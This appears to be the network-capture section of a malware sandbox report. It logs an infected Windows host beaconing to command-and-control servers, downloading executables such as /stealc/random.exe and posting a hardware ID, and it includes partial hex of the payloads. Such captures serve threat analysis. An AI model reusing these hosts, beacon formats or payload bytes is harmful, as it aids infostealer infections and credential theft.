63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafK@K@XllKtlK @.rsrc@.idata @ *@ardsdpuc P1 @iyggtkqfpK@.taggant0K"@
Jul 4, 2024 20:34:11.814977884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 20:34:11.814990997 CEST	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 20:34:11.815005064 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 20:34:11.815016031 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: e AApePA8!
Jul 4, 2024 20:34:11.815025091 CEST	448	IN	Data Raw: fc 2b 3d 80 88 4d f8 cd 59 84 44 5d 04 f9 e3 38 ef 41 64 13 39 1b f6 68 91 a1 e7 11 cf 05 c4 ce 10 96 68 f9 ff 81 f9 84 88 5d e3 35 f0 05 d4 69 f9 95 bc c8 c4 31 c3 74 c2 cd d5 49 ea fd c3 9c 04 ad e9 12 e4 0e 93 fa 8a 1d d5 a4 88 81 e6 80 4f 85 Data Ascii: +=MYD]8Ad9hh]5i1tIOD5)}Lco:5<Q~l830mUa8? @T.= m8D}\|6IPO\|&5A=2MY*#y0Am
Jul 4, 2024 20:34:11.815036058 CEST	1236	IN	Data Raw: 59 76 20 f9 13 9e 14 60 88 ad 55 11 39 08 fd 10 c0 1d 30 75 c2 4c c5 00 6a 26 4d 31 e4 85 d5 e4 b1 0f e3 01 f0 3f d4 69 96 ad 74 41 10 1d c0 34 b2 0c 38 33 50 1e 0d 56 a0 c1 b4 f8 9f f9 f6 df e0 1f e4 db a4 36 e0 fc 4f 5f d4 01 0c 2a d5 bf 90 8d Data Ascii: Yv `U90uLj&M1?itA483PV6O_<-cu6t4 @5l9@-_4]83mj!-0I'Ha)dyu55[=6AoIUaqn[`T
Jul 4, 2024 20:34:11.815052032 CEST	1236	IN	Data Raw: 21 57 05 7e 57 e5 31 be 82 a7 78 94 1e 6f e0 02 2a ad f6 ff 40 7e 30 2f d1 a1 ad 05 a1 7a d4 32 42 51 d7 b1 40 bd c4 e8 9f 0c 3b bc 29 d8 06 61 8e 72 0c 9f 4a c3 c3 00 fa bf 34 89 47 04 18 22 fe f0 1d 6f 62 2c ea 39 28 a5 fc 73 8c a9 c4 08 fe 60 Data Ascii: !W~W1xo@~0/z2BQ@;)arJ4G"ob,9(s`\|wE;G<\^C;PnUuE,t7tLMaHFlp6'cXvaq_`epa8,Y-1cf4-\Fze
Jul 4, 2024 20:34:11.815066099 CEST	448	IN	Data Raw: 04 94 46 33 b3 f3 6d 7b a7 8d 7a 65 0a 9d 2f e9 83 74 2b f4 7e 21 69 d1 b0 3d c4 6a 01 82 b9 2b 70 71 20 57 f0 35 ac 51 3c 7e 5c 8b 31 37 62 2a ac 48 4d dd d0 4d 0c 56 f5 6c 1f 12 12 71 59 f5 06 09 ec 70 34 72 ce ff b7 1c 34 35 d6 06 07 d9 45 88 Data Ascii: F3m{ze/t+~!i=j+pq W5Q<~\17b*HMMVlqYp4r45E64dmS1I-1I=&kDPq820;yB%XI1/EVv'%;l;x<i6REDCwc7#pD4!38oiz@@paam_2T?
Jul 4, 2024 20:34:11.815077066 CEST	1236	IN	Data Raw: f3 b3 c0 40 7f 4f c4 ca a4 81 fd 5a 31 10 bd 91 e4 a3 53 c5 84 e5 bb 7c 81 e0 e4 79 b1 22 23 18 fe 48 c4 ae 20 cd 77 46 90 18 e0 8a c2 76 b4 c0 b7 87 48 91 d7 98 8e a9 89 d5 9c c3 1d a6 63 4b df 95 c7 47 64 f2 18 05 6c c1 20 43 e0 a2 78 0a 00 04 Data Ascii: @OZ1S\|y"#H wFvHcKGdl Cxy*{)4}Ll)\|8`T([??I$~frY@1{'+$h#ip),[.XP,`i/"5!G=3V
Jul 4, 2024 20:34:11.819885015 CEST	1236	IN	Data Raw: a1 11 ac 74 fd 2a c0 ef aa e9 b4 17 33 e9 96 1b 4a fe 24 e3 af 32 59 14 0c a5 12 dd 09 63 64 12 d6 d1 03 22 a2 90 cc 02 97 25 d8 1c a7 0b 73 64 48 a2 35 e6 84 2b d7 fb 37 31 f2 18 a9 03 fc 80 96 e5 c4 33 52 d0 16 02 64 04 0e 39 f9 00 b1 0c eb 0e Data Ascii: t3J$2Ycd"%sdH5+713Rd9)zW)oE89vH3]$gy>@O%keAHvfT+t160{M=:w{PuQ?KP7v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:21.915610075 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:22.625861883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:22.627118111 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:22.855735064 CEST	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 61 66 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 30 30 30 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 63 64 64 64 64 61 62 61 34 65 30 62 35 63 35 37 62 39 64 34 63 30 32 62 62 34 62 65 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: af <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#1000007001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1cecddddaba4e0b5c57b9d4c02bb4be1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	77.91.77.81	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:22.865830898 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 4, 2024 20:34:23.586669922 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:23 GMT Content-Type: application/octet-stream Content-Length: 2531328 Last-Modified: Thu, 04 Jul 2024 18:30:52 GMT Connection: keep-alive ETag: "6686ea5c-26a000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c8 e6 86 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 74 25 bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 bf 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELf!t%@@@ Wx@@@0!@@Pp# @y#(@.datap"l"4@
Jul 4, 2024 20:34:23.586689949 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 12 6b f8 68 98 ef 93 53 b2 85 c0 7a c2 8f 2c 4b 79 f5 20 c0 cd 43 8a a2 Data Ascii: 3khSz,Ky C~97#81>U~h8%DUGE\Q9U-f83u[fM8mXenlSWF2<m%e</i89S-*7,brCf)crNMs,_#3jhy\|BE
Jul 4, 2024 20:34:23.586708069 CEST	1236	IN	Data Raw: d0 8d 3c 88 13 a8 21 13 fd 71 c1 d9 41 31 1e 25 ec b7 a2 8b 49 b6 5c 88 c1 1d 20 fd 1d 49 fb d7 74 1d 95 7b be 1e 35 29 30 83 25 c5 1c ae ff 90 7f 67 0b 68 0a b9 11 f3 4a 8b 29 08 03 e6 3c 93 37 2a 22 b2 89 2b 01 6e 79 59 72 a5 3e 49 1d aa 3b 13 Data Ascii: <!qA1%I\ It{5)0%ghJ)<7"+nyYr>I;tG\|#{Fk]H8 &#\|r'`\sXU?MQ?hZfw]$)V)x_.2[!\5S4!~3S \|88]}Sw
Jul 4, 2024 20:34:23.586720943 CEST	672	IN	Data Raw: 33 63 2c f9 9a 00 b1 0b 60 70 72 81 fe 78 d2 5a 41 42 17 84 4e 75 ca da 5f 0b 18 d3 eb 6c 70 2d 41 90 45 00 af 6f 39 2f b3 6e 42 5d b0 05 93 69 46 8f 36 95 c5 d6 79 cb ed 02 9d eb 48 94 3f 2a 24 cf 0b e6 aa 41 b8 4b 42 8c 0d 3d 3d 2f 37 b8 0e 98 Data Ascii: 3c,`prxZABNu_lp-AEo9/nB]iF6yH?$AKB==/7xJS2Rq:&_"z-f\?'F/k)p285h`Iwp&:"7EMiJt'lM3RF+F0(ejXot<5(2<Nfv6i
Jul 4, 2024 20:34:23.586730957 CEST	1236	IN	Data Raw: bf 3c 1a 35 5c a8 ea 3d a1 e9 4c b6 8b 56 5c 4e 0f 5a fd f6 91 a9 01 b1 89 ef fc b2 4e a8 a9 46 0e 33 00 04 9f 69 7a ea 64 e3 98 98 80 f6 52 d4 77 4b 5c d8 a8 f3 44 b3 b6 2e df 25 24 66 f1 0a db 62 36 3b 23 54 1b b0 c0 84 46 39 7a 13 c5 b4 0b 67 Data Ascii: <5\=LV\NZNF3izdRwK\D.%$fb6;#TF9zg^(cR?]%qhN8~6m+bv0X6Q'j(i\~oDy}5qc-7w>C^v6_%3M4QXssonZ+^H9p(!9:WX$E3zk
Jul 4, 2024 20:34:23.586741924 CEST	1236	IN	Data Raw: e1 0a 6d c1 e3 50 7c 41 e6 be c9 70 c3 f2 ee eb 71 76 a7 07 98 f6 ee b0 a8 29 f1 89 3a de dd 37 7b 69 f2 e8 ea 46 97 40 3f 3b 3a 66 9b 63 c7 66 dd e9 78 cf d3 f4 4b 84 83 63 87 b9 11 b4 aa e7 3a b2 41 d9 ff 21 45 da 29 8b e1 c2 64 9b ad a8 a1 c8 Data Ascii: mP\|Apqv):7{iF@?;:fcfxKc:A!E)dkf6pc[.:`5Dw+8F[D5Z8&!3M&9ki&OY[q74glux#r:54I1WCLyl79Wh?\|oLFS,n
Jul 4, 2024 20:34:23.586756945 CEST	1236	IN	Data Raw: 08 7b c0 03 02 21 61 9e 0a c9 d0 4c b5 fb 91 70 f1 78 43 6a 51 78 c8 91 7e 75 0b e6 42 69 21 a6 77 d5 8a de 59 c0 48 d3 47 1d c6 b1 b1 bd 40 4c aa 51 da 25 70 09 f2 67 08 85 23 bd 45 6b f2 ce f5 75 ad 95 cc f3 fc 65 2d a8 ed 81 1c 88 12 88 3e d6 Data Ascii: {!aLpxCjQx~uBi!wYHG@LQ%pg#Ekue->K.dd^We;* s-5,eq(8~& vs'#f2O8}ggjFmMCy#i#:JKUDR`PDt$/-WhS
Jul 4, 2024 20:34:23.586767912 CEST	104	IN	Data Raw: a1 27 77 03 87 6c 3d c8 77 7e f5 02 59 b3 a1 40 73 9d 72 0d 29 27 85 9c 7a 00 a8 12 78 98 a8 80 88 56 e1 90 51 9a 6e 3d 47 f4 ee ad fb a2 47 14 4e 63 58 76 4d 51 bd 8d e1 86 6f 17 e9 9f 0b 62 d4 5e 91 f2 41 b8 00 1e de 26 74 38 7a f2 e5 e8 81 67 Data Ascii: 'wl=w~Y@sr)'zxVQn=GGNcXvMQob^A&t8zg6,u##\|6nZ
Jul 4, 2024 20:34:23.586776972 CEST	1236	IN	Data Raw: 97 40 22 41 19 7e e8 13 11 a2 ab 71 e0 4d 02 d2 12 80 a9 5c df 4d e8 94 65 6f e2 ff 23 c0 b9 d3 60 f1 31 66 e7 8c e9 53 8f f8 3f 15 da 62 42 75 93 70 56 fb 57 0f b2 17 fe ce 41 e0 f5 ef 61 ef 9f bf 5d 12 89 78 91 b8 6e 91 63 7d 39 cd 98 a8 9d 1f Data Ascii: @"A~qM\Meo#`1fS?bBupVWAa]xnc}9PIM(i@U6?Gq^rESGlh;sE2~lbbs#*mV84>W5(q7KfSz_Gm,elWT:ND/D>]xj
Jul 4, 2024 20:34:23.586909056 CEST	1236	IN	Data Raw: 54 10 73 23 73 66 89 dd 43 9f d9 5a ce 89 57 bf 0d ac 2a 36 4b f1 c5 a4 56 d2 c3 bb ff b4 f4 6d 1b 0a 02 b1 0e c5 44 36 e8 39 01 9b 80 d5 a9 df 46 35 47 24 f3 5e 6a 05 9b ca ea 4f 40 25 e9 d0 bf ec 6c 14 21 31 2b 58 5e 89 97 64 55 ee ca 46 94 98 Data Ascii: Ts#sfCZW*6KVmD69F5G$^jO@%l!1+X^dUFQr8UvtuNtk^ Gc`OXB;HD WC\|:/{S)iX&t9E@NT
Jul 4, 2024 20:34:23.591681004 CEST	1236	IN	Data Raw: fb 91 18 27 53 18 22 19 cb 0b ca f1 0d 7b a2 7f d7 fa a1 f8 a1 80 16 cc 21 98 50 98 bd 80 6f 31 81 f9 4c df 92 d0 1f fd 4a 32 ad 0e be c9 ef a8 61 1e 69 44 54 54 39 ca 98 c6 1e d5 23 e3 62 b1 d2 7d 5c 57 a4 d0 07 1c fb 84 fe 3d 7c 64 dc af 21 86 Data Ascii: 'S"{!Po1LJ2aiDTT9#b}\W=\|d!Z2e/uao\`x^3#26E8;ddl^TpJkeE9# }D;,JD)\`HQ%rnducK>9pWp,VCW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:26.485227108 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000006001&unit=246122658369
Jul 4, 2024 20:34:27.186362982 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	85.28.47.30	80	7788	C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:26.828706980 CEST	409	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJE Host: 85.28.47.30 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 45 37 33 33 31 42 30 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="hwid"D9CE7331B0CA2702611826------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="build"Nice------IEBFIEBAFCBAAAAKJKJE--
Jul 4, 2024 20:34:27.460813999 CEST	211	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	77.91.77.81	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:27.192914009 CEST	52	OUT	GET /well/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 4, 2024 20:34:27.930845022 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:27 GMT Content-Type: application/octet-stream Content-Length: 1166336 Last-Modified: Thu, 04 Jul 2024 17:41:21 GMT Connection: keep-alive ETag: "6686dec1-11cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c1 de 86 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"w@0#@@@d\|@\|au4@.text `.rdata@@.datalpH@.rsrc\|a@b@@.relocuvV@B
Jul 4, 2024 20:34:27.930948019 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$D
Jul 4, 2024 20:34:27.930958986 CEST	1236	IN	Data Raw: 59 c3 e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 Data Ascii: YPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM
Jul 4, 2024 20:34:27.930969000 CEST	1236	IN	Data Raw: ff ff 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Jul 4, 2024 20:34:27.930980921 CEST	1236	IN	Data Raw: 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 Data Ascii: Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Jul 4, 2024 20:34:27.930993080 CEST	1236	IN	Data Raw: 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 Data Ascii: x8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>
Jul 4, 2024 20:34:27.931010008 CEST	1236	IN	Data Raw: 84 8b 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9H
Jul 4, 2024 20:34:27.931303978 CEST	552	IN	Data Raw: 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 8b 06 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 Data Ascii: _]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL
Jul 4, 2024 20:34:27.931313992 CEST	1236	IN	Data Raw: 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 80 3d 04 14 4d 00 00 bb 90 19 4d 00 75 07 8b cb e8 f3 0c 00 00 57 Data Ascii: MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjj
Jul 4, 2024 20:34:27.931324959 CEST	1236	IN	Data Raw: 50 e8 fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 Data Ascii: PxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2
